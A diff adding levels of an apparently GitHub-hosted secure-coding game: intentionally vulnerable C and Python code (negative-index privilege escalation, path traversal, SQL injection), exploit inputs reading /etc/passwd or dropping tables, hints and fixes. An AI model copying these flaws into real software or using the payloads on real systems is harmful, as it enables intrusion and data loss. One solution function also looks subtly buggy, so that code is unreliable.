+ // Returns an error for invalid user ids
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return NULL;
+ }
+ return accounts[user_id]->username;
+}
\ No newline at end of file
diff --git a/Season-1/Level-2/hack.c b/Season-1/Level-2/hack.c
new file mode 100644
index 0000000..2a961e2
--- /dev/null
+++ b/Season-1/Level-2/hack.c
@@ -0,0 +1,30 @@
+// Run hack.c by following the instructions below:
+
+// This file exploits the vulnerabilities in code.h. Running this file will fail initially as it contains failing tests.
+// As all other levels, your goal is to get this file to pass.
+
+// Run hack by opening a terminal and running the following:
+// $ make Season-1/Level-2/hack && ./Season-1/Level-2/hack
+
+// As a reminder, to pass this level, both this file alongside tests.c must pass.
+
+#include "code.h"
+
+int main() {
+ printf("Level 2 \n\n");
+ // Creates a non-admin username called "pwned"
+ int user1 = create_user_account(false, "pwned");
+ printf("0. Non-admin (admin:%i) username called '%s' has been created \n", is_admin(user1), username(user1));
+
+ // An outsider or an insider managed to supply the following input that originally aimed to change a dummy non-admin setting
+ update_setting(user1, "-7", "1");
+ printf("1. A dummy setting has been set to dummy number '1' \n");
+ printf("2. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1));
+
+ if (is_admin(user1))
+ printf(" PRIVILEGE ESCALATION ATTACK DETECTED\n");
+ else
+ printf("CONGRATULATIONS LEVEL 2 PASSED!\n");
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Season-1/Level-2/hint-1.txt b/Season-1/Level-2/hint-1.txt
new file mode 100644
index 0000000..8da5f44
--- /dev/null
+++ b/Season-1/Level-2/hint-1.txt
@@ -0,0 +1,5 @@
+Consider what can happen if an attacker figures out the private,
+implementation-specific details of the user_account structure
+inside code.h. What can the attacker do with this information?
+
+Go back and try the exercise without looking hint-2.txt ;)
\ No newline at end of file
diff --git a/Season-1/Level-2/hint-2.txt b/Season-1/Level-2/hint-2.txt
new file mode 100644
index 0000000..4dc2d2f
--- /dev/null
+++ b/Season-1/Level-2/hint-2.txt
@@ -0,0 +1,6 @@
+Have a look inside hack.c and look at what the attacker is passing as an argument.
+Is that input able to overwrite something important somewhere?
+
+
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
\ No newline at end of file
diff --git a/Season-1/Level-2/solution.c b/Season-1/Level-2/solution.c
new file mode 100644
index 0000000..724294a
--- /dev/null
+++ b/Season-1/Level-2/solution.c
@@ -0,0 +1,141 @@
+// Vulnerability was in line 83 of code.h
+// Fix can be found in line 77 below
+
+#include
+#include
+#include
+#include
+#include
+
+#define MAX_USERNAME_LEN 39
+#define SETTINGS_COUNT 10
+#define MAX_USERS 100
+#define INVALID_USER_ID -1
+
+// For simplicity, both the private (implementation specific) and the public (API) parts
+// of this application have been combined inside this header file. In the real-world, it
+// is expected for the public (API) parts only to be presented here. Therefore, for the
+// purpose of this level, please assume that the private (implementation specific) sections
+// of this file, would not be known to the non-privileged users of this application
+
+// Internal counter of user accounts
+int userid_next = 0;
+
+// The following structure is implementation-speicific and it's supposed to be unknown
+// to non-privileged users
+typedef struct {
+ bool isAdmin;
+ long userid;
+ char username[MAX_USERNAME_LEN + 1];
+ long setting[SETTINGS_COUNT];
+} user_account;
+
+// Simulates an internal store of active user accounts
+user_account *accounts[MAX_USERS];
+
+// The signatures of the following four functions together with the previously introduced
+// constants (see #DEFINEs) constitute the API of this module
+
+// Creates a new user account and returns it's unique identifier
+int create_user_account(bool isAdmin, const char *username) {
+ if (userid_next >= MAX_USERS) {
+ fprintf(stderr, "the maximum number of users have been exceeded");
+ return INVALID_USER_ID;
+ }
+
+ user_account *ua;
+ if (strlen(username) > MAX_USERNAME_LEN) {
+ fprintf(stderr, "the username is too long");
+ return INVALID_USER_ID;
+ }
+ ua = malloc(sizeof (user_account));
+ if (ua == NULL) {
+ fprintf(stderr, "malloc failed to allocate memory");
+ return INVALID_USER_ID;
+ }
+ ua->isAdmin = isAdmin;
+ ua->userid = userid_next++;
+ strcpy(ua->username, username);
+ memset(&ua->setting, 0, sizeof ua->setting);
+ accounts[userid_next] = ua;
+ return userid_next++;
+}
+
+// Updates the matching setting for the specified user and returns the status of the operation
+// A setting is some arbitrary string associated with an index as a key
+bool update_setting(int user_id, const char *index, const char *value) {
+ if (user_id < 0 || user_id >= MAX_USERS)
+ return false;
+
+ char *endptr;
+ long i, v;
+ i = strtol(index, &endptr, 10);
+ if (*endptr)
+ return false;
+
+ v = strtol(value, &endptr, 10);
+ // FIX: We should check for negative index values too! Scroll for the full solution
+ if (*endptr || i < 0 || i >= SETTINGS_COUNT)
+ return false;
+ accounts[user_id]->setting[i] = v;
+ return true;
+}
+
+// Returns whether the specified user is an admin
+bool is_admin(int user_id) {
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return false;
+ }
+ return accounts[user_id]->isAdmin;
+}
+
+// Returns the username of the specified user
+const char* username(int user_id) {
+ // Returns an error for invalid user ids
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return NULL;
+ }
+ return accounts[user_id]->username;
+}
+
+/*
+ There are two vulnerabilities in this code:
+
+ (1) Security through Obscurity Abuse Vulnerability
+ --------------------------------------------
+
+ The concept of security through obscurity (STO) relies on the idea that a
+ system can remain secure if something (even a vulnerability!) is secret or
+ hidden. If an attacker doesn't know what the weaknesses are, they cannot
+ exploit them. The flip side is that once that vulnerability is exposed,
+ it's no longer secure. It's widely believed that security through obscurity
+ is an ineffective security measure on its own, and should be avoided due to
+ a potential single point of failure and a fall sense of security.
+
+ In code.h the user_account structure is supposed to be an implementation
+ detail that is not visible to the user. Otherwise, attackers could easily
+ modify the structure and change the 'isAdmin' flag to 'true', to gain admin
+ privileges.
+
+ Therefore, as this example illustrates, security through obscurity alone is
+ not enough to secure a system. Attackers are in position toreverse engineer
+ the code and find the vulnerability. This is exposed in hack.c (see below).
+
+ You can read more about the concept of security through obscurity here:
+ https://securitytrails.com/blog/security-through-obscurity
+
+
+ (2) Buffer Overflow Vulnerability
+ ----------------------------
+
+ In hack.c, an attacker escalated privileges and became an admin by abusing
+ the fact that the code wasn't checking for negative index values.
+
+ Negative indexing here caused an unauthorized write to memory and affected a
+ flag, changing a non-admin user to admin.
+
+ You can read more about buffer overflow vulnerabilities here:
+ https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
+*/
\ No newline at end of file
diff --git a/Season-1/Level-2/tests.c b/Season-1/Level-2/tests.c
new file mode 100644
index 0000000..3253e76
--- /dev/null
+++ b/Season-1/Level-2/tests.c
@@ -0,0 +1,28 @@
+// Run tests.c by following the instructions below:
+
+// This file contains passing tests.
+
+// Run them by opening a terminal and running the following:
+// $ make Season-1/Level-2/tests && ./Season-1/Level-2/tests
+
+#include "code.h"
+
+int main() {
+ printf("Level 2 \n\n");
+ // Creates a non-admin username called "pwned"
+ int user1 = create_user_account(false, "pwned");
+ printf("0. Non-admin (admin:%i) username called '%s' has been created \n\n", is_admin(user1), username(user1));
+
+ printf("1. Non-admin users like '%s' can update some dummy numerical settings \n", username(user1));
+ printf("2. Non-admin users have no access to settings that can escalate themselves to admins \n\n");
+
+ // Updates the setting '1' of the pwned username to the number '10'
+ update_setting(user1, "1", "10");
+ printf("3. Dummy setting '1' has been now set to dummy number '10' for user '%s' \n", username(user1));
+ printf("4. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1));
+
+ if (!is_admin(user1))
+ printf("User is not an admin so the code works as expected... is it though? \n");
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Season-1/Level-3/assets/prof_picture.png b/Season-1/Level-3/assets/prof_picture.png
new file mode 100644
index 0000000..472d839
Binary files /dev/null and b/Season-1/Level-3/assets/prof_picture.png differ
diff --git a/Season-1/Level-3/assets/tax_form.pdf b/Season-1/Level-3/assets/tax_form.pdf
new file mode 100644
index 0000000..8bfa3c2
Binary files /dev/null and b/Season-1/Level-3/assets/tax_form.pdf differ
diff --git a/Season-1/Level-3/code.py b/Season-1/Level-3/code.py
new file mode 100644
index 0000000..c943e1a
--- /dev/null
+++ b/Season-1/Level-3/code.py
@@ -0,0 +1,55 @@
+# Welcome to Secure Code Game Season-1/Level-3!
+
+# You know how to play by now, good luck!
+
+import os
+from flask import Flask, request
+
+### Unrelated to the exercise -- Starts here -- Please ignore
+app = Flask(__name__)
+@app.route("/")
+def source():
+ TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"])
+ TaxPayer('foo', 'bar').get_prof_picture(request.args["input"])
+### Unrelated to the exercise -- Ends here -- Please ignore
+
+class TaxPayer:
+
+ def __init__(self, username, password):
+ self.username = username
+ self.password = password
+ self.prof_picture = None
+ self.tax_form_attachment = None
+
+ # returns the path of an optional profile picture that users can set
+ def get_prof_picture(self, path=None):
+ # setting a profile picture is optional
+ if not path:
+ pass
+
+ # defends against path traversal attacks
+ if path.startswith('/') or path.startswith('..'):
+ return None
+
+ # builds path
+ base_dir = os.path.dirname(os.path.abspath(__file__))
+ prof_picture_path = os.path.normpath(os.path.join(base_dir, path))
+
+ with open(prof_picture_path, 'rb') as pic:
+ picture = bytearray(pic.read())
+
+ # assume that image is returned on screen after this
+ return prof_picture_path
+
+ # returns the path of an attached tax form that every user should submit
+ def get_tax_form_attachment(self, path=None):
+ tax_data = None
+
+ if not path:
+ raise Exception("Error: Tax form is required for all users")
+
+ with open(path, 'rb') as form:
+ tax_data = bytearray(form.read())
+
+ # assume that tax data is returned on screen after this
+ return path
\ No newline at end of file
diff --git a/Season-1/Level-3/hack.py b/Season-1/Level-3/hack.py
new file mode 100644
index 0000000..eb92ad2
--- /dev/null
+++ b/Season-1/Level-3/hack.py
@@ -0,0 +1,34 @@
+import unittest
+import os
+import code as c
+
+class TestTaxPayer(unittest.TestCase):
+
+ # Example 1 - path traversal exploited on get_prof_picture
+ def test_1(self):
+ # creates tax payer object with dummy username and password
+ test_obj = c.TaxPayer('username_test', 'password_test')
+ # user input to the profile picture
+ input = './../../../../../etc/passwd'
+ # the output of the function upon processing user input
+ output = test_obj.get_prof_picture(input)
+
+ self.assertIsNone(output)
+
+ # Example 2 - path traversal exploited on get_tax_form_attachment
+ def test_2(self):
+ # creates tax payer object with dummy username and password
+ test_obj = c.TaxPayer('username_test', 'password_test')
+ # gets base directory
+ base_dir = os.path.dirname(os.path.abspath(__file__))
+ # user input to the tax form attachment
+ file_path = './../../../../../etc/passwd'
+ # complete path for input
+ input = base_dir + file_path
+ # the output of the function upon processing user input
+ output = test_obj.get_tax_form_attachment(input)
+
+ self.assertIsNone(output)
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-3/hint.txt b/Season-1/Level-3/hint.txt
new file mode 100644
index 0000000..88344cf
--- /dev/null
+++ b/Season-1/Level-3/hint.txt
@@ -0,0 +1,3 @@
+Have a look in hack.py and see what the attacker is supplying as value.
+Then, think whether is better to use a block list vs using an allow list
+when it comes to user input.
\ No newline at end of file
diff --git a/Season-1/Level-3/solution.py b/Season-1/Level-3/solution.py
new file mode 100644
index 0000000..972bc87
--- /dev/null
+++ b/Season-1/Level-3/solution.py
@@ -0,0 +1,48 @@
+import os
+
+def safe_path(path):
+ base_dir = os.path.dirname(os.path.abspath(__file__))
+ filepath = os.path.normpath(os.path.join(base_dir, path))
+ if base_dir != os.path.commonpath([base_dir, filepath]):
+ return None
+ return filepath
+
+# Solution explanation
+
+# Path Traversal vulnerability
+
+# A form of injection attacks where attackers escape the intended target
+# directory and manage to access parent directories.
+# In the functions get_prof_picture and get_tax_form_attachment, the path
+# isn't sanitized, and a user can pass invalid paths (with ../).
+
+# Input validation seems like a good solution at first, by limiting the
+# character set allowed to alphanumeric, but sometimes this approach is
+# too restrictive. We might need to handle arbitrary filenames or the
+# code needs to run cross-platform and account for filesystem differences
+# between Windows, Macs and *nix.
+
+# Proposed fix:
+# While you could improve the string-based tests by checking for invalid
+# paths (those with dot-dot etc), this approach can be risky since the
+# spectrum of inputs can be infinite and attackers get really creative.
+
+# Instead, a straightforward solution is to rely on the os.path
+# library to derive the base directory instead of trusting user input.
+# The user input can be later appended to the safely generated base
+# directory so that the absolute filepath is normalized.
+
+# Finally, add a check on the longest common subpath between the
+# base directory and the normalized filepath to make sure that no
+# traversal is about to happen and that the final path ends up in the
+# intended directory.
+
+# The GitHub Security Lab covered this flaw in one episode of Security
+# Bites, its series on secure programming: https://youtu.be/sQGxdwRePh8
+
+# We also covered this flaw in a blog post about OWASP's Top 10 proactive controls:
+# https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/
+
+
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
\ No newline at end of file
diff --git a/Season-1/Level-3/tests.py b/Season-1/Level-3/tests.py
new file mode 100644
index 0000000..f81f04d
--- /dev/null
+++ b/Season-1/Level-3/tests.py
@@ -0,0 +1,48 @@
+import unittest
+import os
+import code as c
+
+class TestTaxPayer(unittest.TestCase):
+ # Example 1 - shows a valid path to a profile picture
+ def test_1(self):
+
+ # creates tax payer object with dummy username and password
+ test_obj = c.TaxPayer('username_test', 'password_test')
+ # user input to the profile picture
+ input = 'assets/prof_picture.png'
+ # the output of the function upon processing user input
+ output = test_obj.get_prof_picture(input)
+
+ # the original function the method uses to come up with base directory
+ original_base_dir = os.path.dirname(os.path.abspath(__file__))
+ # the base directory that the code points on AFTER user input is supplied
+ # the trick here is to use the length of the original directory counting from left
+ resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))]
+
+ # checks against path traversal by comparing the original to resulted directory
+ self.assertEqual(original_base_dir, resulted_based_dir)
+
+ # Example 2 - shows a valid path to a tax form
+ def test_2(self):
+ # creates tax payer object with dummy username and password
+ test_obj = c.TaxPayer('username_test', 'password_test')
+ # gets base directory
+ base_dir = os.path.dirname(os.path.abspath(__file__))
+ # user input to the profile picture
+ file_path = '/assets/tax_form.pdf'
+ # complete path for input
+ input = base_dir + file_path
+ # the output of the function upon processing user input
+ output = test_obj.get_tax_form_attachment(input)
+
+ # the original function the method uses to come up with base directory
+ original_base_dir = os.path.dirname(os.path.abspath(__file__))
+ # the base directory that the code points on AFTER user input is supplied
+ # the trick here is to use the length of the original directory counting from left
+ resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))]
+
+ # checks against path traversal by comparing the original to resulted directory
+ self.assertEqual(original_base_dir, resulted_based_dir)
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-4/code.py b/Season-1/Level-4/code.py
new file mode 100644
index 0000000..a835cf2
--- /dev/null
+++ b/Season-1/Level-4/code.py
@@ -0,0 +1,249 @@
+'''
+Please note:
+
+The first file that you should run in this level is tests.py for database creation, with all tests passing.
+Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
+to fail.
+
+If you like to return to the initial state of the database, please delete the database (level-4.db) and run
+the tests.py again to recreate it.
+'''
+
+import sqlite3
+import os
+from flask import Flask, request
+
+### Unrelated to the exercise -- Starts here -- Please ignore
+app = Flask(__name__)
+@app.route("/")
+def source():
+ DB_CRUD_ops().get_stock_info(request.args["input"])
+ DB_CRUD_ops().get_stock_price(request.args["input"])
+ DB_CRUD_ops().update_stock_price(request.args["input"])
+ DB_CRUD_ops().exec_multi_query(request.args["input"])
+ DB_CRUD_ops().exec_user_script(request.args["input"])
+### Unrelated to the exercise -- Ends here -- Please ignore
+
+class Connect(object):
+
+ # helper function creating database with the connection
+ def create_connection(self, path):
+ connection = None
+ try:
+ connection = sqlite3.connect(path)
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+ return connection
+
+class Create(object):
+
+ def __init__(self):
+ con = Connect()
+ try:
+ # creates a dummy database inside the folder of this challenge
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ # checks if tables already exist, which will happen when re-running code
+ table_fetch = cur.execute(
+ '''
+ SELECT name
+ FROM sqlite_master
+ WHERE type='table'AND name='stocks';
+ ''').fetchall()
+
+ # if tables do not exist, create them and insert dummy data
+ if table_fetch == []:
+ cur.execute(
+ '''
+ CREATE TABLE stocks
+ (date text, symbol text, price real)
+ ''')
+
+ # inserts dummy data to the 'stocks' table, representing average price on date
+ cur.execute(
+ "INSERT INTO stocks VALUES ('2022-01-06', 'MSFT', 300.00)")
+ db_con.commit()
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
+
+class DB_CRUD_ops(object):
+
+ # retrieves all info about a stock symbol from the stocks table
+ # Example: get_stock_info('MSFT') will result into executing
+ # SELECT * FROM stocks WHERE symbol = 'MSFT'
+ def get_stock_info(self, stock_symbol):
+ # building database from scratch as it is more suitable for the purpose of the lab
+ db = Create()
+ con = Connect()
+ try:
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ res = "[METHOD EXECUTED] get_stock_info\n"
+ query = "SELECT * FROM stocks WHERE symbol = '{0}'".format(stock_symbol)
+ res += "[QUERY] " + query + "\n"
+
+ # a block list (aka restricted characters) that should not exist in user-supplied input
+ restricted_chars = ";%&^!#-"
+ # checks if input contains characters from the block list
+ has_restricted_char = any([char in query for char in restricted_chars])
+ # checks if input contains a wrong number of single quotes against SQL injection
+ correct_number_of_single_quotes = query.count("'") == 2
+
+ # performs the checks for good cyber security and safe software against SQL injection
+ if has_restricted_char or not correct_number_of_single_quotes:
+ # in case you want to sanitize user input, please uncomment the following 2 lines
+ # sanitized_query = query.translate({ord(char):None for char in restricted_chars})
+ # res += "[SANITIZED_QUERY]" + sanitized_query + "\n"
+ res += "CONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE"
+ else:
+ cur.execute(query)
+
+ query_outcome = cur.fetchall()
+ for result in query_outcome:
+ res += "[RESULT] " + str(result)
+ return res
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
+
+ # retrieves the price of a stock symbol from the stocks table
+ # Example: get_stock_price('MSFT') will result into executing
+ # SELECT price FROM stocks WHERE symbol = 'MSFT'
+ def get_stock_price(self, stock_symbol):
+ # building database from scratch as it is more suitable for the purpose of the lab
+ db = Create()
+ con = Connect()
+ try:
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ res = "[METHOD EXECUTED] get_stock_price\n"
+ query = "SELECT price FROM stocks WHERE symbol = '" + stock_symbol + "'"
+ res += "[QUERY] " + query + "\n"
+ if ';' in query:
+ res += "[SCRIPT EXECUTION]\n"
+ cur.executescript(query)
+ else:
+ cur.execute(query)
+ query_outcome = cur.fetchall()
+ for result in query_outcome:
+ res += "[RESULT] " + str(result) + "\n"
+ return res
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
+
+ # updates stock price
+ def update_stock_price(self, stock_symbol, price):
+ # building database from scratch as it is more suitable for the purpose of the lab
+ db = Create()
+ con = Connect()
+ try:
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ if not isinstance(price, float):
+ raise Exception("ERROR: stock price provided is not a float")
+
+ res = "[METHOD EXECUTED] update_stock_price\n"
+ # UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT'
+ query = "UPDATE stocks SET price = '%d' WHERE symbol = '%s'" % (price, stock_symbol)
+ res += "[QUERY] " + query + "\n"
+
+ cur.execute(query)
+ db_con.commit()
+ query_outcome = cur.fetchall()
+ for result in query_outcome:
+ res += "[RESULT] " + result
+ return res
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
+
+ # executes multiple queries
+ # Example: SELECT price FROM stocks WHERE symbol = 'MSFT';
+ # SELECT * FROM stocks WHERE symbol = 'MSFT'
+ # Example: UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT'
+ def exec_multi_query(self, query):
+ # building database from scratch as it is more suitable for the purpose of the lab
+ db = Create()
+ con = Connect()
+ try:
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ res = "[METHOD EXECUTED] exec_multi_query\n"
+ for query in filter(None, query.split(';')):
+ res += "[QUERY]" + query + "\n"
+ query = query.strip()
+ cur.execute(query)
+ db_con.commit()
+
+ query_outcome = cur.fetchall()
+ for result in query_outcome:
+ res += "[RESULT] " + str(result) + " "
+ return res
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
+
+ # executes any query or multiple queries as defined from the user in the form of script
+ # Example: SELECT price FROM stocks WHERE symbol = 'MSFT';
+ # SELECT * FROM stocks WHERE symbol = 'MSFT'
+ def exec_user_script(self, query):
+ # building database from scratch as it is more suitable for the purpose of the lab
+ db = Create()
+ con = Connect()
+ try:
+ path = os.path.dirname(os.path.abspath(__file__))
+ db_path = os.path.join(path, 'level-4.db')
+ db_con = con.create_connection(db_path)
+ cur = db_con.cursor()
+
+ res = "[METHOD EXECUTED] exec_user_script\n"
+ res += "[QUERY] " + query + "\n"
+ if ';' in query:
+ res += "[SCRIPT EXECUTION]"
+ cur.executescript(query)
+ db_con.commit()
+ else:
+ cur.execute(query)
+ db_con.commit()
+ query_outcome = cur.fetchall()
+ for result in query_outcome:
+ res += "[RESULT] " + str(result)
+ return res
+
+ except sqlite3.Error as e:
+ print(f"ERROR: {e}")
+
+ finally:
+ db_con.close()
\ No newline at end of file
diff --git a/Season-1/Level-4/hack.py b/Season-1/Level-4/hack.py
new file mode 100644
index 0000000..5ff5200
--- /dev/null
+++ b/Season-1/Level-4/hack.py
@@ -0,0 +1,53 @@
+'''
+Please note:
+
+The first file that you should run in this level is tests.py for database creation, with all tests passing.
+Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
+to fail.
+
+If you like to return to the initial state of the database, please delete the database (level-4.db) and run
+the tests.py again to recreate it.
+'''
+
+import unittest
+import code as c
+
+# code.py has 5 methods namely:
+# (1) get_stock_info
+# (2) get_stock_price
+# (3) update_stock_price
+# (4) exec_multi_query
+# (5) exec_user_script
+
+# All methods are vulnerable!
+
+# Here we show an exploit against (2) get_stock_price which is applicable to
+# methods (1) and (3) as well.
+
+# We believe that methods (4) and (5) shouldn't exist at all in the code.
+# Have a look on solution.py for the why.
+
+class TestDatabase(unittest.TestCase):
+
+ # performs an attack by passing another query.
+ # Does so by using the semicolon so the method executes a script.
+ def test_1(self):
+ op = c.DB_CRUD_ops()
+
+ # what the developer expects to be passed is this:
+ developer_expectation = op.get_stock_price('MSFT')
+ developer_output_expectation = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n"
+
+ # but the hacker passes is this:
+ what_hacker_passes = op.get_stock_price("MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--")
+ hacker_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--'\n[SCRIPT EXECUTION]\n"
+
+ self.assertEqual(developer_output_expectation, what_hacker_passes)
+
+# Further exploit input could be:
+# "MSFT'; DROP TABLE stocks--"
+# through:
+# op.get_stock_price("MSFT'; DROP TABLE stocks--")
+
+if __name__ == '__main__':
+ unittest.main()
\ No newline at end of file
diff --git a/Season-1/Level-4/hint.py b/Season-1/Level-4/hint.py
new file mode 100644
index 0000000..280ba05
--- /dev/null
+++ b/Season-1/Level-4/hint.py
@@ -0,0 +1,25 @@
+import sqlite3
+
+# Vulnerable
+con = sqlite3.connect('users.db')
+user_input = "Mary"
+sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');"
+con.executescript(sql_stmt)
+
+"""
+The above code is vulnerable to SQL injection because user_input is
+passed unsanitized to the query logic. This makes the query logic
+prone to being tampered. Consider the following input:
+
+user_input = "Mary'); DROP TABLE Users;--"
+
+which will result to the following query:
+
+"INSERT INTO Users (user) VALUES ('Mary'); DROP TABLE Users;--');"
+
+Now that you know what's wrong with the code, can you fix it?
+
+
+Contribute new levels to the game in 3 simple steps!
+Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
+"""
\ No newline at end of file
diff --git a/Season-1/Level-4/solution.py b/Season-1/Level-4/solution.py
new file mode 100644
index 0000000..ea13e97
--- /dev/null
+++ b/Season-1/Level-4/solution.py
@@ -0,0 +1,71 @@
+import sqlite3
+
+# Please note: The following code is NOT expected to run and it's provided for explanation only
+
+# Vulnerable: this code will allow an attacker to insert the "DROP TABLE" SQL command into the query
+# and delete all users from the database.
+con = sqlite3.connect('example.db')
+user_input = "Mary'); DROP TABLE Users;--"
+sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');"
+con.executescript(sql_stmt)
+
+# Secure through Parameterized Statements
+con = sqlite3.connect('example.db')
+user_input = "Mary'); DROP TABLE Users;--"
+# The secure way to query a database is
+con.execute("INSERT INTO Users (user) VALUES (?)", (user_input,))
+
+# Solution explanation:
+
+# The methodology used above to protect against SQL injection is the usage of parameterized
+# statements. They protect against user input tampering with the query logic
+# by using '?' as user input placeholders.
+
+# In the example above, the user input, as wrong as it is, will be inserted into the database
+# as a new user, but the DROP TABLE command will not be executed.
+
+# code.py has 5 methods namely:
+# (1) get_stock_info
+# (2) get_stock_price
+# (3) update_stock_price
+# (4) exec_multi_query
+# (5) exec_user_script
+
+# All methods are vulnerable!
+
+# Some are also suffering from bad design.
+# We believe that methods 1, 2, and 3 have a more security-friendly design compared
+# to methods 4 and 5.
+
+# This is because methods 4 and 5, by design, provide attackers with the chance of
+# arbitrary script execution.
+
+# We believe that security plays an important role and methods like 4 and 5 should be
+# avoided fully.
+
+# We, therefore, propose in our model solution to completely remove them instead of
+# trying to secure them in their existing form. A better approach would be to design
+# them from the beginning, like methods 1, 2, and 3, so that user input could be a
+# placeholder in pre-existing logic, instead of giving users the power of directly
+# injecting logic.
+
+# More details:
+# One protection available to prevent SQL injection is the use of prepared statements,
+# a database feature executing repeated queries. The protection stems from
+# the fact that queries are no longer executed dynamically.
+
+# The user input will be passed to a template placeholder, which means
+# that even if someone manages to pass unsanitized data to a query, the injection
+# will not be in position to modify the databases' query template. Therefore no SQL
+# injection will occur.
+
+# Widely-used web frameworks such as Ruby on Rails and Django offer built-in
+# protection to help prevent SQL injection, but that shouldn't stop you from
+# following good practices. Contextually, be careful when handling user input
+# by planning for the worst and never trusting the user.
+
+# The GitHub Security Lab covered this flaw in one episode of Security Bites,
+# its series on secure programming: https://youtu.be/VE6c57Tk5gM
+
+# We also covered this flaw in a blog post about OWASP's Top 10 proactive controls:
+# https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/
\ No newline at end of file
diff --git a/Season-1/Level-4/tests.py b/Season-1/Level-4/tests.py
new file mode 100644
index 0000000..ce69d9b
--- /dev/null
+++ b/Season-1/Level-4/tests.py
@@ -0,0 +1,62 @@
+'''
+Please note:
+
+The first file that you should run in this level is tests.py for database creation, with all tests passing.
+Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
+to fail.
+
+If you like to return to the initial state of the database, please delete the database (level-4.db) and run
+the tests.py again to recreate it.
+'''
+
+import unittest
+import code as c
+
+class TestDatabase(unittest.TestCase):
+
+ # tests for correct retrieval of stock info given a symbol
+ def test_1(self):
+ op = c.DB_CRUD_ops()
+ expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0)"
+ actual_output = op.get_stock_info('MSFT')
+ self.assertEqual(actual_output, expected_output)
+
+ # tests for correct defense against SQLi in the case where a user passes more than one query or restricted characters
+ def test_2(self):
+ op = c.DB_CRUD_ops()
+ expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--'\nCONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE"
+ actual_output = op.get_stock_info("MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--")
+ self.assertEqual(actual_output, expected_output)
+
+ # tests for correct retrieval of stock price
+ def test_3(self):
+ op = c.DB_CRUD_ops()
+ expected_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n"
+ actual_output = op.get_stock_price('MSFT')
+ self.assertEqual(actual_output, expected_output)
+
+ # tests for correct update of stock price given symbol and updated price
+ def test_4(self):
+ op = c.DB_CRUD_ops()
+ expected_output = "[METHOD EXECUTED] update_stock_price\n[QUERY] UPDATE stocks SET price = '300' WHERE symbol = 'MSFT'\n"
+ actual_output = op.update_stock_price('MSFT', 300.0)
+ self.assertEqual(actual_output, expected_output)
+
+ # tests for correct execution of multiple queries
+ def test_5(self):
+ op = c.DB_CRUD_ops()
+ query_1 = "[METHOD EXECUTED] exec_multi_query\n[QUERY]SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,) "
